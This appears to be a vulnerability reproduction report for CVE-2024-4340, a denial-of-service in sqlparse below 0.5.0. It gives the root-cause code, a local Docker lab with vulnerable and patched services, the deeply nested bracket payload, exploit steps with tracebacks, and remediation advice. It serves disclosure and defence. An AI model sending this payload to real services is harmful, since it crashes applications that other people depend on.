CVE-2024-4340: sqlparse uncontrolled recursion denial of service¶
Published 2026-06-06
Denial of service via a single HTTP request
A 20 KB request body is sufficient to crash a gunicorn worker serving any application that passes user-supplied SQL to sqlparse.format() or sqlparse.parse() on versions before 0.5.0.
| Project | sqlparse |
| Affected component | sqlparse/sql.py: TokenList.flatten(), reached via sqlparse/engine/grouping.py |
| Severity | HIGH |
| CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5) |
| CWE | CWE-674 |
| Affected versions | < 0.5.0 |
| Fixed version | 0.5.0 |
| Advisory | GHSA-2m57-hf25-phgg |
1. Vulnerability overview¶
sqlparse is a Python library for parsing, formatting, and splitting SQL statements. CVE-2024-4340 is a network-exploitable denial-of-service vulnerability: sending a deeply nested bracket string (for example, 10,000 opening [ characters followed by 10,000 closing ] characters) to sqlparse.parse() or sqlparse.format() triggers unbounded recursive calls inside the library's grouping engine. Python's call stack is exhausted, raising a RecursionError that propagates uncaught to the calling application. Any web service that feeds user-supplied SQL to sqlparse without a recursion guard can be crashed with a single malformed request. The CVSS v3.1 score is 7.5 (HIGH).
Root cause. During parsing, sqlparse/engine/grouping.py builds a token tree for bracket groups by calling _group_matching() recursively, once per nesting level. As each SquareBrackets node is constructed its __init__ calls str(self), which ultimately calls TokenList.flatten() in sqlparse/sql.py. That method walks the token tree by yielding from itself recursively:
# VULNERABLE (pre-0.5.0) — sqlparse/sql.py, class TokenList
def flatten(self):
"""Generator yielding ungrouped tokens.
This method is recursively called for all child tokens.
"""
for token in self.tokens:
if token.is_group:
yield from token.flatten() # unbounded recursion
else:
yield token
With 10,000 nested bracket pairs the token tree is 10,000 levels deep. flatten() recurses through all 10,000 levels, far past CPython's default limit of roughly 1,000 frames, and Python raises RecursionError: maximum recursion depth exceeded. Because no code in the call path catches this exception, it propagates all the way to the application.
The fix in commit b4a39d9 (released as 0.5.0) wraps the loop in a try/except RecursionError block and converts the interpreter-level crash into a library exception that callers can handle:
# FIXED (0.5.0) — sqlparse/sql.py, class TokenList
from sqlparse.exceptions import SQLParseError
def flatten(self):
try:
for token in self.tokens:
if token.is_group:
yield from token.flatten()
else:
yield token
except RecursionError as err:
raise SQLParseError('Maximum recursion depth exceeded') from err
2. Vulnerable environment¶
The reproduction environment is a pair of Docker containers managed by Docker Compose (env.zip). Both containers run the same minimal Flask application (env/app.py): a single /format endpoint that accepts a plain-text request body and passes it directly to sqlparse.format() with no size guard and no exception handler. The containers differ only in the installed sqlparse version:
| Container | sqlparse version | Host port |
|---|---|---|
cve-2024-4340-vuln |
0.4.4 (vulnerable) | 127.0.0.1:8000 |
cve-2024-4340-patched |
0.5.0 (fixed) | 127.0.0.1:8001 |
Each container runs a single gunicorn sync worker (env/Dockerfile) with PYTHONUNBUFFERED=1 and a 120-second request timeout. A worker crash therefore produces an immediately visible traceback in docker logs and is not mistaken for a timeout kill.
Bring the environment up from the run directory:
After both containers reach Up (healthy), confirm the version pins with the smoke test:
Expected output:
The /health endpoint prints the live sqlparse version, so this response confirms that the vulnerable pin is present and the unpatched code path is active.
See also env/docker-compose.yml for the full service definitions.
3. How to exploit¶
The exploit is a single shell script (exploit/run.sh; full archive: exploit.zip). It builds the bracket payload on the fly with Python, sends a bounded HTTP POST to the target, and reports the HTTP status and curl exit code. The script never reads container logs or interprets whether the crash occurred; that determination is made by inspecting the server side independently, as described below.
Step 1: Establish a passing liveness baseline.
This must return {"sqlparse":"0.4.4","status":"ok"} before proceeding.
Step 2: Fire the exploit at the vulnerable service.
The script sends the body '['*10000 + ']'*10000 (about 20 KB) as a plain-text POST to /format. On the vulnerable stack the gunicorn worker exhausts the call stack inside sqlparse's grouping code and the response is:
[*] Payload bytes: 20000 (depth=10000, finite single request body)
[*] POST http://127.0.0.1:8000/format
[*] http_status=500
[*] curl_exit_code=0 (0=response received; 52/56=connection dropped before complete response)
[*] response_body:
<!DOCTYPE HTML> ...
The HTTP 500 response confirms the worker hit an error. The transition from a 200 on the benign /health baseline to a 500 on this malicious body is the independent crash evidence; it comes from the server's response, not from the exploit script's own logic.
Step 3: Confirm the crash is anchored in sqlparse (server-side log).
docker logs --tail 200 cve-2024-4340-vuln 2>&1 | grep -E "RecursionError|grouping\.py|sql\.py.*flatten|in flatten|Exception on /format" | tail -40
This reads the container log independently of the exploit. The observed traceback captured during the verified run is:
[ERROR] Exception on /format [POST]
Traceback (most recent call last):
File ".../flask/app.py", line 1473, in wsgi_app
File "/app/app.py", line 30, in format_sql
formatted = sqlparse.format(body, reindent=True, keyword_case="upper")
File ".../sqlparse/__init__.py", line 53, in format
File ".../sqlparse/engine/filter_stack.py", line 31, in run
stmt = grouping.group(stmt)
File ".../sqlparse/engine/grouping.py", line 430, in group
File ".../sqlparse/engine/grouping.py", line 35, in group_brackets
_group_matching(tlist, sql.SquareBrackets)
File ".../sqlparse/engine/grouping.py", line 30, in _group_matching
_group_matching(sgroup, cls)
[Previous line repeated 964 more times]
File ".../sqlparse/sql.py", line 214, in flatten
RecursionError: maximum recursion depth exceeded
The traceback shows [Previous line repeated 964 more times] inside _group_matching in sqlparse/engine/grouping.py, and the final frame resolves to sqlparse/sql.py line 214 flatten. The crash originates at sqlparse.format(...) on /app/app.py:30, the direct, unauthenticated network input path. This is the specific code that the 0.5.0 fix bounds. The RecursionError is uncaught and propagates all the way out of the library.
Step 4: Confirm the patched build is not affected (differential control).
Run the identical payload against the patched service and compare the container log:
bash exploit/run.sh http://127.0.0.1:8001 10000
docker logs --tail 200 cve-2024-4340-patched 2>&1 | grep -E "RecursionError|SQLParseError|grouping\.py|sql\.py.*flatten" | tail -20
The status code is not the differential
Both the vulnerable and patched stacks return HTTP 500 for this payload. The distinguishing signal is in the server-side log, not the HTTP status code.
The patched worker log shows:
File ".../sqlparse/sql.py", line 214, in flatten
raise SQLParseError('Maximum recursion depth exceeded') from err
sqlparse.exceptions.SQLParseError: Maximum recursion depth exceeded
On the patched stack flatten() still recurses into the deep bracket tree, but the try/except RecursionError block introduced in commit b4a39d9 intercepts the crash and re-raises it as sqlparse.exceptions.SQLParseError. The terminal exception is the catchable library error, not a raw interpreter crash. The uncaught RecursionError signature seen on the vulnerable stack is absent. This confirms the crash is caused by the specific code path the fix removes, not by generic application or framework error handling.
Teardown. Once finished, stop and remove the containers and their volumes:
4. Security advice¶
Remediation. Upgrade sqlparse to 0.5.0 or later. The fix is a single commit (b4a39d9) that wraps the recursive flatten() call in a try/except RecursionError and converts it to the documented sqlparse.exceptions.SQLParseError. After upgrading, callers that want to handle oversized or malformed inputs gracefully should catch SQLParseError around any call to sqlparse.parse() or sqlparse.format().
Mitigations. If an immediate upgrade is not possible, add an input size limit before the sqlparse call to prevent deeply nested inputs from reaching the parser. A character-count cap of a few hundred kilobytes will not affect legitimate SQL in practice. A request-level body size limit at the reverse proxy or web framework level provides an additional layer of defence. Neither mitigation fixes the underlying unbounded recursion; upgrading to 0.5.0 is the only authoritative fix.
References.
- GHSA-2m57-hf25-phgg (GitHub Security Advisory): affected
< 0.5.0, fixed0.5.0, CWE-674, CVSS 7.5, original PoC payload - NVD CVE-2024-4340: CWE-674, CVSS vector, reference list
- Patch commit b4a39d9 (andialbrecht/sqlparse): exact diff:
flatten()wrapped intry/except RecursionError; CHANGELOG entry; regression test added - JFrog Research: sqlparse Stack Exhaustion DoS (JFSA-2024-001031292): independent technical analysis; original discoverer credited